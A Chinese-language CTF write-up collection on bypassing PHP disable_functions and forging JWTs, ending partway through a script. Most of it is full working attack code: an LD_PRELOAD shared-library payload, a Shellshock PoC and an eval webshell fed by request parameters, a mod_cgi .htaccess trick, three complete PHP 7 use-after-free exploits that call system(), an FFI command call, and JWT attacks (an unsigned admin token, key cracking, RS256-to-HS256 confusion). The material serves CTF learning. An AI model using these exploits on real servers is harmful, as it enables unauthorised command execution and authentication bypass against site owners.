文章目录
PHP
Bypass disable_function
PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用
有四种绕过 disable_functions 的手法：
- 攻击后端组件，寻找存在命令注入的 web 应用常用的后端组件，如，ImageMagick 的魔图漏洞、bash 的破壳漏洞等等
- 寻找未禁用的漏网函数，常见的执行命令的函数有
system()、exec()、shell_exec()、passthru()，偏僻的popen()、proc_open()、pcntl_exec()，逐一尝试，或许有漏网之鱼 - mod_cgi 模式，尝试修改 .htaccess，调整请求访问路由，绕过 php.ini 中的任何限制（让特定扩展名的文件直接和php-cgi通信）；
- 利用环境变量 LD_PRELOAD 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果。
参考：无需sendmail：巧用LD_PRELOAD突破disable_functions
LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量，用于动态库的加载，动态库加载的优先级最高，它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。一方面，我们可以以此功能来使用自己的或是更好的函数（无需别人的源码），而另一方面，我们也可以以向别人的程序注入程序，从而达到特定的目的。
简单来说就是LD_PRELOAD指定的动态链接库文件，会在其它文件调用之前先被调用
error_log(error,type,destination,headers)：
当type为1时，服务器就会把error发送到参数 destination 设置的邮件地址
先生成一个hack.c恶意动态链接库文件
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/bmth");
}
使用gcc编译 gcc -shared -fPIC hack.c -o hack.so
虽然报错了，但还是生成了hack.so，上传到tmp文件夹下，再在www/html下创建bmth.php文件：
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("",1,"","");
?>
再去包含php文件?ant=include('bmth.php');，成功生成bmth
本题mail函数无法使用，不然也可以使用mail("","","","");
参考：
WP：LD_PRELOAD
Bypass disabled_functions一些思路总结
PHP中通过bypass disable functions执行系统命令的几种方式
ShellShock
题目描述：利用PHP破壳完成 Bypass
漏洞原理：
目前的Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后，Bash执行并未退出，而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界，也没有做出合法化的参数判断。
首先连接蚁剑，发现执行不了函数
直接上传poc：
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("a@127.0.0.1", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}
// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>
通过putenv来设置环境变量，默认putenv定义的环境变量名必须以PHP_开头。error_log()函数会在执行sh -c -t -i触发payload
手工写入吧，首先创建a.php用来执行命令，test.php存放执行后的flag，使用tac读取flag，访问a.php：
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>
参考：
PHP < 5.6.2 - ‘Shellshock’ Safe Mode / disable_functions Bypass / Command Injection
破壳漏洞(Shellshock)分析CVE-2014-6271
破壳漏洞（CVE-2014-6271）综合分析：“破壳”漏洞系列分析之一
Apache Mod CGI
CGI：
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程.
MOD_CGI：
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行，它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本，一种是文件具有已由AddType指令定义的扩展名，另一种是文件位于ScriptAlias目录中.
使用linux shell脚本编写的cgi程序便可以执行系统命令.
这个文件是 644 权限，www-data 用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令来获取 flag
.htaccess ：
Options +ExecCGI
AddHandler cgi-script .ant
shell.ant
#!/bin/sh
echo&&cd "/var/www/html/backdoor";tac /flag;echo [S];pwd;echo [E]
访问却失败了，因为我们没有给刚才上传的shell.ant添加可执行权限
添加权限?ant=chmod('shell.ant',0777);，不知道为什么还是执行不了，直接插件却可以执行。。。
参考：【PHP绕过】apache mod_cgi bypass disable_functions
PHP-FPM
这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议，和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.
因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信
但是能够构造fastcgi，就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制：
1.第一个问题
既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
2.第二个问题
我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file
auto_prepend_file的功能是在在执行目标文件之前，先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
3.第三个问题
进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了
直接执行蚁剑插件了，选择 PHP-FPM 的接口地址, 需要自行找配置文件查 FPM 接口地址, 默认的是unix:/// 本地 socket 这种的,如果配置成 TCP 的默认是 127.0.0.1:9000
成功后可以看到 /var/www/html/ 目录下新建了一个 .antproxy.php 文件。我们创建副本, 并将连接的 URL shell 脚本名字改为 .antproxy.php, 就可以成功执行命令。
参考：
利用Thinkphp RCE以及php-fpm绕过disable function拿下菠菜
AntSword 绕过 PHP disable_functions Part.05
GC UAF
注意 PHP 版本需要满足：
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
绕过脚本如下：
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
访问exploit.php即可得到flag
参考：
php7-gc-bypass
Bug #72530 Use After Free in GC with Certain Destructors
Json Serializer UAF
php版本：
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
绕过脚本如下：
<?php
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
参考：
Bug #77843 Use after free with json serializer
php-json-bypass
Backtrace UAF
php版本：
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
绕过脚本如下：
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
参考：
php7-backtrace-bypass
Bug #76047 Use-after-free when accessing already destructed backtrace arguments
FFI 扩展
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true
[ffi]
; FFI API restriction. Possible values:
; "preload" - enabled in CLI scripts and preloaded files (default)
; "false" - always disabled
; "true" - always enabled
ffi.enable=true
; List of headers files to preload, wildcard patterns allowed.
;ffi.preload=
写入php代码如下：
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
本文参考writeup：AntSword-Labs
JWT
敏感信息泄露
JWT的头部和有效载荷这两部分的数据是以明文形式传输的，如果其中包含了敏感信息的话，就会发生敏感信息泄露。
题目很明了的表示flag在JWT内，那么首先随便登录一个账号，然后查看Cookie
直接解密即可得到flag
无签名
一些JWT库也支持none算法，即不使用签名算法。当alg字段为空时，后端将不执行签名验证。
将secret置空。利用node的jsonwentoken库已知缺陷：当jwt的secret为null或undefined时，jsonwebtoken会采用algorithm为none进行验证
因为alg为none,所以只要把signature设置为空（即不添加signature字段），提交到服务器，token都可以通过服务器的验证
将alg修改为none后，去掉JWT中的signature数据(仅剩header + '.' + payload + '.')然后提交到服务端即可
这里写一个jwt脚本，需要安装PyJWT
import jwt
payload={
"username": "admin",
"password": "admin",
"role": "admin"
}
token = jwt.encode(payload,algorithm="none",key="")
print(token)
传入即可得到flag
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
弱密钥
如果JWT采用对称加密算法，并且密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥
不过对JWT的密钥爆破需要在一定的前提下进行：
- 知悉JWT使用的加密算法
- 一段有效的、已签名的token
- 签名用的密钥不复杂（弱密钥）
使用工具：https://github.com/brendan-rius/c-jwt-cracker
首先需要安装apt-get install libssl-dev，然后make一下即可
使用jwtcrack得到密钥wlps
传入即可
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjExMSIsInBhc3N3b3JkIjoiMTExIiwicm9sZSI6ImFkbWluIn0.SRR18Uf-D6tRkClsuDGX3VMTf0-YJ1hIkTQAjg0M9RU
修改签名算法
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时，有时攻击者可以获取到公钥，此时可通过修改JWT头部的签名算法，将非对称密码算法改为对称密码算法，从而达到攻击者目的
HMAC是密钥相关的哈希运算消息认证码（Hash-based Message Authentication Code）的缩写，它是一种对称加密算法，使用相同的密钥对传输信息进行加解密
RSA则是一种非对称加密算法，使用私钥加密明文，公钥解密密文
本题给出了源码：
<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
发现加密密钥为RS256，但又存在HS256，即可修改算法RS256为HS256(非对称密码算法 => 对称密码算法)，如果将算法从RS256更改为HS256，后端代码会使用公钥作为秘密密钥，然后使用HS256算法验证签名
题目给出了publickey.pem：
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4cuKT+r5gDWNEvdhqAhF
qPWuELo9aWgxA7rV1otibibLhcD6rRMInWuUaAhBdnRF9KoZxVD6SflWbo2J+Lzb
y8AmqfYz0bDiSHu+OdRCO+NKwLLTeLKIQXSjTgj76dBRYScEaKyH8KpuMj7ESUaC
yBVmAboSbFlaoXEC1hTg5YLZEu+fxrqWwrqaD8Jy2en4jCV+hR7voJkDdWXcGpRy
eNm2VialkPul32H8DY1B/TNQ17SxJjfA0ODfWTnTathS1UmvKTd+3+f66IkV8ZBp
UDCwfNcNPZW1sMK5GYoPdJ20KP3HEMGaBbySwcbU/GgJg9lWDTUGHs6eXHxwDIko
HwIDAQAB
-----END PUBLIC KEY-----
写脚本进行HS256加密
import jwt
import base64
public = '''-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4cuKT+r5gDWNEvdhqAhF
qPWuELo9aWgxA7rV1otibibLhcD6rRMInWuUaAhBdnRF9KoZxVD6SflWbo2J+Lzb
y8AmqfYz0bDiSHu+OdRCO+NKwLLTeLKIQXSjTgj76dBRYScEaKyH8KpuMj7ESUaC
yBVmAboSbFlaoXEC1hTg5YLZEu+fxrqWwrqaD8Jy2en4jCV+hR7voJkDdWXcGpRy
eNm2VialkPul32H8DY1B/TNQ17SxJjfA0ODfWTnTathS1UmvKTd+3+f66IkV8ZBp
UDCwfNcNPZW1sMK5GYoPdJ20KP3HEMGaBbySwcbU/GgJg9lWDTUGHs6eXHxwDIko
HwIDAQAB
-----END PUBLIC KEY-----
'''
